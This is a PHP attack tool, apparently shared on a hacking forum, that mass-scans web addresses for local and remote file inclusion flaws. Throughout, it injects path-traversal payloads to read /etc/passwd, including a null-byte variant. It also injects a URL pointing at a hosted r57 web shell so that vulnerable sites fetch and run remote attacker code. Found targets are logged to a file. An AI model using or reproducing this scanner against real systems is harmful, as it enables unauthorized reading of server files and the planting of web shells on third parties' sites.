Scan lfi-rfi

<?php
/*
Coded by AdeRoot
Simples scanner LFI - RFI
Greetz:
Default, Mathew, TheShow
*/
echo " _                       \n";
echo "| |    ___  ___ __ _ _ __ \n";
echo "| |   / __|/ __/ _` | '_ \ \n";
echo "| |___\__ \ (_| (_| | | | |\n";
echo "|_____|___/\___\__,_|_| |_|\n";
echo " Coded by AdeRoot v1.0      \n\n";
if($argc == 1) {
        echo "Help parameter: | -h --help\n";
        exit(1);
}
$passwd = array("=../../../../../../../../../../../../etc/passwd",
             "=../../../../../../../../../../../../etc/passwd%00");

$rfi = "http://www.r57shell.net/shell/r57.txt?";

function help() {
  echo "Options[*]:\n\n";
  echo "DominioLFI:  | -d --dominio lfi\n";
  echo "DominioRFI:  | -r --dominio rfi\n";
  echo "ListaLFI:    | -l --lista lfi\n";
  echo "ListaRFI:    | -i --lista rfi\n\n";
  echo "LFI Single:                               RFI Single:\n\n";
        echo "Usage: php lscan.php -d xxx             | Usage: php lscan.php -r xxx\n";
        echo "Example: php lscan.php -d x/x.php?p=x   | Example: php lscan.php x/x.php?p=x\n";
        echo "-----------------------------------------------------------------------------\n";
        echo "LFI Lista:                                RFI Lista:                        \n\n";
        echo "Usage: php lscan.php -l xxx             | Usage: php lscan.php -i xxx       \n";
        echo "Example: php lscan.php -l lista.txt     | Example: php lscan.php -i lista.txt \n\n";
}

set_time_limit(0);
error_reporting(0);

$opts = getopt("hd:l:r:i:");
foreach(array_keys($opts) as $opt) switch($opt) {

          case "h":
          help();
          break;

          case "d":
          $dominio = $opts["d"];
          $valor = strpos($dominio, "=");
          $xpt = substr($dominio, 0, $valor);
          foreach($passwd as $passwd1) {
          $domain = $xpt.$passwd1;
          post($domain);
          }
          break;

          case "l":
          $lista = file_get_contents($opts["l"], "r");
          $x = array_filter(explode("\n", $lista));
          foreach($x as $dominio) {
          $valor = strpos($dominio, "=");
          $xpt = substr($dominio, 0, $valor);
          foreach($passwd as $passwd1) {
          $domain = $xpt.$passwd1;
          for($i=0; $i <=$tr=count($domain)-1; $i++) {
          post($domain);
                  }
               }
           }
           break;

          case "r";
          $dominio = $opts["r"];
          $valor = strpos($dominio, "=");
          $xpt = substr($dominio, 0, $valor);
          $domain = $xpt."=".$rfi;
          post($domain);
          break;

          case "i":
          $lista = file_get_contents($opts["i"], "r");
          $x = array_filter(explode("\n", $lista));
          foreach($x as $dominio) {
          $valor = strpos($dominio, "=");
          $xpt = substr($dominio, 0, $valor);
          $domain = $xpt. "=".$rfi;
          for($i=0; $i <=$tr=count($domain)-1; $i++) {
          post($domain);
                }
           }
       }

    function post($domain) {
    if(preg_match("@http://@", $domain)){
          $domain = $domain;
           } else {
         $domain = "http://".$domain;
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $domain);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
    $exec = curl_exec($ch);
    curl_close($ch);
    echo $domain."=>";
    if(preg_match_all("@root:x:@", $exec) || preg_match_all("@uname@", $exec) ) {
        echo "Found\n\n";
        file_put_contents("lfi-rfi.txt", $domain."\r\n", FILE_APPEND);
    } else {
        echo "Not Found\n\n";
        }
    }
     if(isset($opts["d"]) || ($opts["l"]) || ($opts["r"]) || ($opts["i"])) {
                echo "Fim!\n";
     }
?>